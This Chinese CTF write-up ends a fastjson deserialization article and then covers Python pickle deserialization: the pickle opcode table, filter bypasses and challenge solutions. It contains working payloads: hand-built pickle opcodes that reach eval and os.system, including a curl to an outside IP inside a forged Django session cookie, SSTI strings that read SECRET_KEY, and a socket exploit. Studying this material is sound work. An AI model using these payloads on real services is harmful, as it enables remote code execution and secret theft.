MarshalOutputStream的作用就相当于浅蓝师傅使用的SerialOutput,目的是触发写入操作。InflaterOutputStream负责缓冲存入的数据,FileOutputStream负责数据真正写入

write:354, FileOutputStream (java.io)
write:255, InflaterOutputStream (java.util.zip)
drain:1883, ObjectOutputStream$BlockDataOutputStream (java.io)
setBlockDataMode:1792, ObjectOutputStream$BlockDataOutputStream (java.io)
<init>:248, ObjectOutputStream (java.io)
<init>:64, MarshalOutputStream (sun.rmi.server)

最后解释一下为什么需要满足利用条件2

在fastjson将字段注入到对象中的时候,可以使用setter注入,也可以用构造方法直接注入。由于我们想要设置的字段MarshalOutputStream、InflaterOutputStream、FileOutputStream都没有对应的setter方法,没法实现注入,那么就只能利用构造方法注入。

使用构造方法注入时,必须知道参数的名字,否则将无法正确注入字段。为此,fastjson使用了ASMUtils.lookupParameterNames方法来获取参数名字。

image-20210812115716614

但是,究竟能否获取到参数名字取决于字节码生成时是否指定了-parameters参数。如果指定了,字节码中才会保存参数名字,否则不会保存。如果没有保存,自然也就获取不到参数名,那么也就注入失败了,就会爆出如下错误:找不到构造器

image-20210812115636217

fastjson1.2.68延申

landgrey师傅提供了一种从写文件到rce的思路,根据jdk lib目录下的charsets.jar,伪造一个恶意的charsets.jar,向其中值入恶意代码,再利用fastjson的写文件漏洞将其写回靶机。当jvm再次加载这个jar包的类时,就会触发恶意代码执行。由于师傅已经写的非常详细了,这里不赘述。

参考文章

BasicDataSource:https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html

省赛wp:https://tari.moe/2021/05/23/2021gd-university-ctf/

parse 和 parseObject区别:https://mp.weixin.qq.com/s/C1Eo9wst9vAvF1jvoteFoA

TemplatesImpl:http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

1.2.47:https://cert.360.cn/warning/detail?id=7240aeab581c6dc2c9c5350756079955

fastjson漏洞绕过史:https://zeo.cool/2020/07/04/%E7%BA%A2%E9%98%9F%E6%AD%A6%E5%99%A8%E5%BA%93!fastjson%E5%B0%8F%E4%BA%8E1.2.68%E5%85%A8%E6%BC%8F%E6%B4%9ERCE%E5%88%A9%E7%94%A8exp/#fastjson-lt-1-2-47

https://www.freebuf.com/vuls/208339.html

1.2.68_Throwable:https://b1ue.cn/archives/348.html

1.2.68_AutoClose_b1u3r:https://b1ue.cn/archives/364.html

1.2.68_AutoClose_rmb122:https://mp.weixin.qq.com/s?__biz=MzUzMjQyMDE3Ng==&mid=2247484413&idx=1&sn=1e6e6dc310896678a64807ee003c4965&scene=21#wechat_redirect

从写文件到rce:https://landgrey.me/blog/22/

[TOC]

再看pickle反序列化

之前对于pickle反序列化的理解就仅仅停留于知道__reduce__方法能够执行代码,比php的反序列化更加灵活。php仅仅是传递对象的属性,而pickle还可以控制反序列化过程中执行代码。很自然地,在2021巅峰极客比赛中被狠狠上了一课。比赛中有两道python题,都需要自行构造pickle反序列化数据(不能直接用dumps函数生成的),之前从来没遇到这样的题,就蒙圈了。

其实后来发现,之前遇到pickle题看博客的时候,里面是有提到pvm和opcode解析的过程的/当时太浮躁,仅仅是浮在表面的理解,就没有关注这些深层的知识。现在是时候该补补这块知识了。

pvm解析pickle

实际上,调用pickle.dumps(obj)的时候,生成的字符串就是一段opcode代码,这也就能解释为什么pickle反序列化可以控制执行代码了,因为它的序列化数据本质上就是代码。调用pickle.loads(str)反序列化对象时,就是在执行序列化时生成的opcode代码,底层的工作是由pvm(pickle virtual machine)来完成的。pvm是基于栈的工作模式,反序列化的过程实际上就对应着数据不断入栈出栈的过程。

pvm由三大部分组成:栈、memo、解析引擎。如果学过jvm就比较好理解,这里的栈和memo就可以分别类比成jvm的栈帧中的操作数栈和局部变量表,解析引擎可以类比成JIT即时编译器或者解释器。栈用来存放opcode运行过程中的一些临时数据,memo用来存放一些需要长期保存的数据,解析引擎解析opcode,并执行对应的操作。opcode可以理解成机器码,不同的opcode对应着不同的指令(偷了师傅的一张表,见下,也可以直接看pickle库源代码中的注释),由解析引擎来解析执行。

具体的解析流程师傅写得太好了,这里就不赘述,可以参考这篇文章

到这里应该能够想到,如果某个web项目提供了pickle反序列化的接口,这将是相当危险的。攻击者可以通过这个接口,编写特定的opcode,来执行任意代码。其实在一般情况下,是可以不需要手撸opcode的,直接写__reduce__方法即可。不过在存在waf的场合或者是一些较难的ctf题,就可能需要手撸了。

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

CTF例题

【2018Code-Breaking】picklecode

复现环境:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode

这题主要学习以下几点

django框架通过ssti读SECRET_KEY

本题是通过ssti的方式,不能读取以下划线开头的属性,不过另辟蹊径读到SECRET_KEY

@login_required
def index(request):
    django_engine = engines['django']
    template = django_engine.from_string('My name is ' + request.user.username)
    return HttpResponse(template.render(None, request))
{{request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY}}

如果是格式化字符串,利用的链子会更多一些,没有限制不能读取下划线开头的属性。

def view(request, *args, **kwargs):
    template = 'Hello {user}, This is your email: ' + request.GET.get('email')
    return HttpResponse(template.format(user=request.user))
{{user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}}
{{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}}
手撸opcode绕过waf

这题自定义了pickle的反序列化器,在反序列化的时候做了白名单过滤。

查看django配置文件code/settings.py,发现自定义的序列化器是PickleSerializer

SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
SESSION_SERIALIZER = 'core.serializer.PickleSerializer'

找到序列化器,发现重写了find_class函数,那么这个函数究竟在什么时候会调用?

从opcode角度看,当出现cib'\x93'时,会调用find_class

举例来看,首先使用pickle.dumps生成序列化数据

class exp(object):
    def __reduce__(self):
        s = r"""touch /tmp/success"""
        return (os.system, (s,))
print(pickle.dumps(exp(),protocol=0))

然后反序列化。借用p神的一张图。当在执行第一个opcodecposix\nsystem\n时,因为是c操作,所以find_class会被调用,由于module是posix,所以被ban了。

从这个例子看出,这题想要直接调用pickle.dumps生成payload是不可行的,pickle.dumps生成的序列化数据很直接,不会拐弯子,自然也就无法绕过waf。所现在就需要手撸opcode,自己构造payload。

image-20210802120334478

import pickle
import io
import builtins

__all__ = ('PickleSerializer', )


class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))


class PickleSerializer():
    def dumps(self, obj):
        return pickle.dumps(obj)

    def loads(self, data):
        try:
            if isinstance(data, str):
                raise TypeError("Can't load pickle from unicode string")
            file = io.BytesIO(data)
            return RestrictedUnpickler(file,
                              encoding='ASCII', errors='strict').load()
        except Exception as e:
            return {}

这题采用的绕过方式是利用builtins.getattr来获取eval。通过getattr获取时,虽然会触发find_class,但是传入的module=builtins,name=getattr,可以绕过waf。具体一步步的调用过程我进行了如下拆解,读者可以一步步地理解。

import pickle
import builtins

data=b"""cbuiltins
getattr
(cbuiltins
dict
S'get'
tR."""  #get
print(pickle.loads(data))
# print(builtins.getattr(builtins.dict, "get"))


data=b"""(cbuiltins
globals
(tRS'builtins'
t."""  #(builtins.globals(),'builtins')
print(pickle.loads(data))


data=b"""cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
."""  #builtins.globals().get('builtins')=builtins
print(pickle.loads(data))

data=b"""cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR."""
print(pickle.loads(data))

data=b"""cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("dir")'
tR."""
print(pickle.loads(data))

概括来看如下,可以发现,自始至终传入find_class的module都只有builtins,而name则用到了getattr、dict、globals,这三个都不在黑名单中,实现了绕过

通过builtins.getattr(builtins.dict, "get")获取<method 'get' of 'dict' objects>
获取builtins.globals()
通过builtins.globals().get('builtins')获取<module 'builtins' (built-in)>
通过builtins.getattr(builtins,"eval")获取<built-in function eval>
exp
from django.core import signing
import base64, zlib, os

os.environ.setdefault("DJANGO_SETTINGS_MODULE", "core.settings")

SECRET_KEY = "zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm"
payload = b"""cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\n(tRp3\n0g2\n(g3\nS\'builtins\'\ntRp4\n0g0\n(g4\nS\'eval\'\ntRp5\n0g5\n(S\'__import__("os").system("curl http://121.5.40.245:5566")\'\ntR."""

def b64_encode(s):
    return base64.urlsafe_b64encode(s).strip(b'=')

def evil_session(key, salt):
    global payload
    is_compressed = False
    compress = False
    if compress:
        compressed = zlib.compress(payload)
        if len(compressed) < (len(payload) - 1):
            payload = compressed
            is_compressed = True
    base64d = b64_encode(payload).decode()
    if is_compressed:
        base64d = '.' + base64d
    print(signing.TimestampSigner(key, salt=salt).sign(base64d))

evil_session(SECRET_KEY, 'django.contrib.sessions.backends.signed_cookies')

需要注意,exp中from django.core import signing使用的django版本为1.9.1,太高版本可能会执行失败

【watevrCTF-2019】Pickle Store

复现环境:https://buuoj.cn/challenges#[watevrCTF-2019]Pickle%20Store

cookie base64解码后发现是opcode,直接构造传入/buy接口就能getshell

import pickle
import base64
data=b'''(S'curl vps'
ios
system
.'''

# data=b'''cos
# system
# (S'whoami'
# tR.'''

# data=b'''(cos
# system
# S'whoami'
# o.'''
print(base64.b64encode(data))

【高校战疫网络安全分享赛】webtmp

这题考查的是变量覆盖。find_class函数限制module为__main__,并且opcode不能使用R。要求传入的Animal对象的属性等于secret中的属性,做法就是将secret中的属性覆盖掉,然后再构造Animal,即可满足条件。

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
        
@application.route('/', methods=['GET', 'POST'])
def index():
    if request.args.get('source'):
        return Response(read(__file__), mimetype='text/plain')

    if request.method == 'POST':
        try:
            pickle_data = request.form.get('data')
            if b'R' in base64.b64decode(pickle_data): # 不能包含R字符
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
            else:
                result = restricted_loads(base64.b64decode(pickle_data)) # 被反序列化
                if type(result) is not Animal:
                    return 'Are you sure that is an animal???'
            correct = (result == Animal(secret.name, secret.category)) # 对比是否一致
            return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
        except Exception as e:
            print(repr(e))
            return "Something wrong"

    sample_obj = Animal('一给我哩giaogiao', 'Giao')
    pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
    return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)

payload构造如下,第一种使用i,第二种用o,原理相同。

import base64
import pickle
import sys
# payload=b'''c__main__
# secret
# (S'name'
# S"1"
# S"category"
# S"2"
# db0(S"1"
# S"2"
# i__main__
# Animal
# .'''

payload=b'''c__main__
secret
(S'name'
S"1111"
S"category"
S"2222"
db0(c__main__
Animal
S"1111"
S"2222"
o.'''


print(base64.b64encode(payload))

【SUCTF 2019】Guess Game

这题考察的也是变量覆盖。题目给的应用是一个猜数字游戏,连续猜10轮正确给flag。做法就是直接将正确的数字覆盖,并且将答对的轮数覆盖为9,再加上本次答对,刚好拿到flag。

使用pker工具构造,使用方法参考这篇文章

ticket=INST('guess_game.Ticket','Ticket',(1))
game=GLOBAL('guess_game','game')
game.win_count=9
game.round_count=9
game.curr_ticket=ticket

return ticket
exp
import pickle
import socket
import struct

s = socket.socket()
s.connect(('121.5.40.245',9042))

exp = b'''(I1\niguess_game.Ticket\nTicket\np0\n0cguess_game\ngame\np1\n0g1\n(}(S'win_count'\nI9\ndtbg1\n(}(S'round_count'\nI9\ndtbg1\n(}(S'curr_ticket'\ng0\ndtbg0\n.'''

s.send(struct.pack('>I', len(exp)))
s.send(exp)

print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))

【BalsnCTF】pyshv1

这题限制了只能使用sys模块。做法是通过不断地修改sys.modules[“sys”]的内容,来达到引入任意模块的效果。给出pker代码

modules=GLOBAL('sys', 'modules')
modules['sys']=modules
modules_get=GLOBAL('sys', 'get') #此时的sys实际上是sys.modules
os=modules_get('os')
modules['sys']=os
system=GLOBAL('sys', 'system')此时的sys实际上是sys.modules.get("os")
system('whoami')
return

【BalsnCTF】pyshv2

这题限制了只能使用structs模块,这个模块是题目自带的,并且是一个空的模块。关键在于find_class中手动调用了__import__,这样的话就可以劫持__import__函数来引入任意模块

class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        module = __import__(module) # 注意这里调用了__import__
        return getattr(module, name)

给出pker代码

__dict__ = GLOBAL('structs', '__dict__') # structs的属性dict
__builtins__ = GLOBAL('structs', '__builtins__') # 内建函数dict
gtat = GLOBAL('structs', '__getattribute__') # 获取structs.__getattribute__
__builtins__['__import__'] = gtat # 劫持__import__函数
__dict__['structs'] = __builtins__ # 把structs.structs属性赋值为__builtins__
builtin_get = GLOBAL('structs', 'get') # structs.__getattribute__('structs').get
eval = builtin_get('eval') # structs.structs['eval'](即__builtins__['eval']
eval('print(123)')
return

【BalsnCTF】pyshv3

这题的要求稍微低了一些,不需要getshell,只要让not user.privileged为False即可。但是反序列化后会将user.privileged设置为False,看似好像想让not user.privileged为False是件不太可能的事情。

def login(self):
        with open('../flag.txt', 'rb') as f:
            flag = f.read()
        flag = bytes(a ^ b for a, b in zip(self.key, flag))
        user = input().encode('ascii')
        user = codecs.decode(user, 'base64')
        user = pickle.loads(user)
        print('Login as ' + user.name + ' - ' + user.group)
        user.privileged = False
        user.flag = flag
        self.user = user

这里涉及到python面向对象当中的描述器机制。当一个类实现了__get____set____delete__任一方法时,该类被称为“描述器”类。描述器对象在被赋值时,会调用它的__set__方法。如果将user.privileged设置成描述器对象,那么在执行user.privileged = False时就会调用__set__方法,这个方法是我们可控的,那么就能避免真正执行user.privileged = False了。

需要注意的是,描述器需要是类变量。这里有段测试代码,如果不是类变量,则仅仅是一个普通对象。

import pickle


class descrip:
    def __set__(self, instance, value):
        print("__set__")

class A:
    d1=descrip()
    def __init__(self):
      self.d2=descrip()

a=A()
print(a.d1)
a.d1="changed"
print(a.d1)

print(a.d2)
a.d2="changed"
print(a.d2)

下面给出pker代码

User = GLOBAL('structs', 'User')
User.__set__ = User #给User类加__set__方法,使它称为描述器类
user = User(0, 0)
User.privileged = user #使User.privileged为描述器对象
return user

参考

https://xz.aliyun.com/t/7436#toc-12

https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html